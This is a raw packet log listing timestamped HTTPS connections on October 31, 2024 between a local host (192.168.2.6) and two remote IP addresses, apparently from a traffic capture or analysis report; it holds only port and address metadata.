Oct 31, 2024 09:07:31.102102041 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.184042931 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.184533119 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.184556007 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.185003996 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.185009003 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.231899977 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.231956959 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.232008934 CET	49862	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.232150078 CET	49862	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.232166052 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.232182980 CET	49862	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.232187986 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.234869003 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.234915972 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.234992027 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.235158920 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.235177040 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.247390032 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.247711897 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.247735977 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.248122931 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.248128891 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.314433098 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.314460993 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.314500093 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.314524889 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.314557076 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.314790964 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.314805984 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.314815998 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.314821959 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.317061901 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.317154884 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.317240953 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.317379951 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.317413092 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.354001045 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.354370117 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.354387999 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.354798079 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.354804039 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.379770994 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.379837990 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.379911900 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.380101919 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.380124092 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.380153894 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.380160093 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.383076906 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.383147001 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.383229971 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.383383036 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.383399010 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.487287998 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.487358093 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.487411976 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.487617016 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.487637997 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.487649918 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.487656116 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.490592003 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.490679979 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.490768909 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.490936995 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.490974903 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.820847034 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.821615934 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.821652889 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.822161913 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.822174072 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.957784891 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.957834005 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.957885027 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.958074093 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.958093882 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.958102942 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.958107948 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.960828066 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.960863113 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.960943937 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.961085081 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.961100101 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.963052988 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.963371992 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.963407993 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.963757992 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.963766098 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.042601109 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.043001890 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.043071985 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.043396950 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.043415070 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.097043991 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.097098112 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.097166061 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.097198009 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.097217083 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.097290993 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.097495079 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.097513914 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.097527981 CET	49868	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.097534895 CET	443	49868	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.100302935 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.100343943 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.100430012 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.100605965 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.100620985 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.113567114 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.114027977 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.114037991 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.114573002 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.114583969 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.170473099 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.170541048 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.170639038 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.170866966 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.170892000 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.170908928 CET	49869	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.170916080 CET	443	49869	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.173904896 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.173943043 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.174036026 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.174235106 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.174253941 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.230935097 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.231373072 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.231399059 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.231892109 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.231900930 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.243546009 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.243674040 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.243720055 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.243745089 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.243791103 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.243875027 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.243884087 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.243900061 CET	49870	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.243905067 CET	443	49870	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.246445894 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.246481895 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.246547937 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.246682882 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.246696949 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.362330914 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.362390041 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.362432957 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.364450932 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.364480972 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.364500046 CET	49871	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.364506960 CET	443	49871	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.366969109 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.367005110 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.367063046 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.367181063 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.367199898 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.689851999 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.690457106 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.690481901 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.691090107 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.691095114 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.819720030 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.819756031 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.819796085 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.819813013 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.819849014 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.820065975 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.820080996 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.820091009 CET	49872	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.820096970 CET	443	49872	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.822745085 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.822758913 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.822875977 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.822982073 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.822994947 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.866139889 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.866921902 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.866939068 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.867355108 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.867361069 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.901277065 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.902012110 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.902029037 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.905589104 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.905594110 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.984802961 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.986995935 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.987016916 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:32.987972975 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:32.987977982 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.002665043 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.003115892 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.003170967 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.003468037 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.003482103 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.003493071 CET	49873	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.003500938 CET	443	49873	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.013056040 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.013106108 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.013156891 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.013451099 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.013469934 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.030230045 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.030252934 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.030292988 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.030313015 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.030347109 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.030495882 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.030512094 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.030527115 CET	49874	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.030530930 CET	443	49874	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.032500982 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.032524109 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.032666922 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.032840967 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.032854080 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.094686985 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.095680952 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.095705032 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.096219063 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.096225977 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.115272999 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.115453959 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.115535021 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.116067886 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.116079092 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.116096020 CET	49875	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.116105080 CET	443	49875	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.121445894 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.121484041 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.121567011 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.122466087 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.122482061 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.223282099 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.223320007 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.223362923 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.223383904 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.223412991 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.223644018 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.223665953 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.223681927 CET	49876	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.223687887 CET	443	49876	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.226300955 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.226330042 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.226397991 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.226573944 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.226586103 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.466913939 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:33.466948986 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:33.467014074 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:33.467246056 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:33.467262030 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:33.592677116 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.596467972 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.596508026 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.596824884 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.596831083 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.727972984 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.728050947 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.728286028 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.728375912 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.728375912 CET	49877	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.728419065 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.728450060 CET	443	49877	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.730957031 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.730989933 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.731051922 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.731262922 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.731276989 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.746256113 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.746598005 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.746670961 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.747004986 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.747018099 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.775290966 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.775990963 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.776015043 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.776424885 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.776432037 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.843579054 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.846808910 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.846836090 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.847326040 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.847332001 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.876888037 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.876952887 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.877069950 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.877185106 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.877185106 CET	49878	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.877229929 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.877254963 CET	443	49878	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.880578995 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.880614996 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.880697012 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.881023884 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.881036997 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.904957056 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.905035019 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.905091047 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.905240059 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.905252934 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.905262947 CET	49879	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.905267000 CET	443	49879	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.907973051 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.907993078 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.908075094 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.908247948 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.908257961 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.955866098 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.956243992 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.956267118 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.956830978 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.956836939 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.972301960 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.972547054 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.972599030 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.972609043 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.972661018 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.972851038 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.972866058 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.972876072 CET	49880	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.972882032 CET	443	49880	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.976428986 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.976444960 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:33.976675987 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.976835966 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:33.976845980 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.087131977 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.087191105 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.087275982 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.093082905 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.093082905 CET	49881	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.093112946 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.093125105 CET	443	49881	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.099540949 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.099572897 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.099637032 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.103733063 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.103748083 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.466375113 CET	443	49883	13.107.246.45	192.168.2.6
